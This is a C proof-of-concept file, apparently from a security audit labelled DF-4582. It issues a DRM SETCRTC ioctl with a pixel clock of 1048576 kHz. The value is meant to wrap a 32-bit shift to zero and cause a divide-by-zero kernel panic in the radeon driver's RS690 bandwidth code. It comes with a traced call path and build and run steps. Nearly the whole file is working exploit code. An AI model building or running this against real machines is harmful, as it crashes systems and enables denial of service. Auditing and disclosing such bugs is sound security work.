DF-4582 / setcrtc_clock_wrap.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 | /* * DF-4582 — the end-to-end unprivileged trigger for hardware that has an * RS690/RS740/RS780/RS880 IGP (radeon KMS, .bandwidth_update = rs690_bandwidth_update). * * NOT RUNNABLE ON THE AUDIT GUEST: the QEMU guest has no AMD IGP * (vgapci0 = 1b36:1234 virtio-vga). This file documents the exact ioctl * sequence that reaches rs690_crtc_bandwidth_compute() with * mode->clock = 1048576 kHz on such hardware; every filter on the path * was verified absent by source citation (see VERDICT.md): * * drm_mode_setcrtc() sys/dev/drm/drm_crtc.c:655 * -> drm_mode_convert_umode() sys/dev/drm/drm_modes.c:1691 * rejects only clock > INT_MAX drm_modes.c:1696 * -> drm_mode_validate_driver() drm_modes.c:1145 * -> drm_mode_validate_basic() drm_modes.c:1106 * rejects only clock == 0 drm_modes.c:1114 * radeon sets no dev->mode_config.funcs->mode_valid * (radeon_display.c:1350) * -> crtc helpers commit the mode; PLL programming is best-effort * -> atombios_crtc_dpms -> radeon_pm_compute_clocks atombios_crtc.c:296 * -> radeon_pm_compute_clocks_old (PROFILE) radeon_pm.c:1753 * -> radeon_pm_set_clocks -> radeon_bandwidth_update radeon_pm.c:312 * -> rs690_bandwidth_update rs690.c:583 * -> rs690_crtc_bandwidth_compute rs690.c:329 ** divide by zero ** * * Build: cc -O2 -o setcrtc_clock_wrap setcrtc_clock_wrap.c * Run: ./setcrtc_clock_wrap /dev/dri/card0 (must be drm master = * first/only opener of the node; needs a connected display) */ #include <sys/ioctl.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <stdint.h> #include <stdlib.h> #include <unistd.h> /* minimal DRM uapi (linux/drm.h subset, verbatim field layout) */ #define DRM_IOCTL_BASE 'd' #define DRM_IOC(dir, group, nr, size) ((dir) | ((size) << 16) | ((group) << 8) | (nr)) #define DRM_IOC_READ_WRITE (IOC_READ|IOC_WRITE) /* see note */ #define DRM_IO(nr) DRM_IOC(IOC_VOID, DRM_IOCTL_BASE, (nr), 0) #define DRM_IOWR(nr, type) DRM_IOC(IOC_READ|IOC_WRITE, DRM_IOCTL_BASE, (nr), sizeof(type)) struct drm_mode_modeinfo { uint32_t clock; uint16_t hdisplay, hsync_start, hsync_end, htotal, hskew; uint16_t vdisplay, vsync_start, vsync_end, vtotal, vscan; uint32_t vrefresh; uint32_t flags; uint32_t type; char name[32]; }; struct drm_mode_crtc { uint64_t set_connectors_ptr; uint32_t count_connectors; uint32_t crtc_id; uint32_t fb_id; uint32_t x, y; uint32_t gamma_size; uint32_t mode_valid; struct drm_mode_modeinfo mode; }; #define DRM_IOCTL_MODE_SETCRTC DRM_IOWR(0x22, struct drm_mode_crtc) int main(int argc, char **argv) { const char *node = argc > 1 ? argv[1] : "/dev/dri/card0"; struct drm_mode_crtc c; int fd = open(node, O_RDWR); int crtc_id = 0, fb_id = 0, conn_id = 0; if (fd < 0) { perror("open"); return 1; } if (argc > 2) { crtc_id = atoi(argv[2]); fb_id = atoi(argv[3]); conn_id = atoi(argv[4]); } /* * operator must first: create a dumb fb (fb_id), find the connected * connector id (conn_id) and crtc id via GETRESOURCES/GETCONNECTOR, * and hold DRM master (drop other X servers/console drivers first). */ memset(&c, 0, sizeof(c)); c.crtc_id = crtc_id; c.fb_id = fb_id; c.count_connectors = 1; c.set_connectors_ptr = (uintptr_t)&conn_id; c.mode_valid = 1; c.mode.clock = 1048576; /* 2^20 kHz: (u32)(1048576 << 12) == 0 */ c.mode.hdisplay = c.mode.hsync_start = 640; c.mode.hsync_end = c.mode.htotal = 800; c.mode.vdisplay = c.mode.vsync_start = 480; c.mode.vsync_end = c.mode.vtotal = 525; c.mode.vrefresh = 60; c.mode.type = 1 /* DRM_MODE_TYPE_USERDEF */; strncpy(c.mode.name, "DF4582", 32); printf("SETCRTC clock=%u kHz -> expect kernel divide-by-zero panic\n", c.mode.clock); if (ioctl(fd, DRM_IOCTL_MODE_SETCRTC, &c) < 0) perror("SETCRTC"); else printf("modeset accepted; panic arrives at the next bandwidth " "update (crtc enable / pm profile change)\n"); close(fd); return 0; } |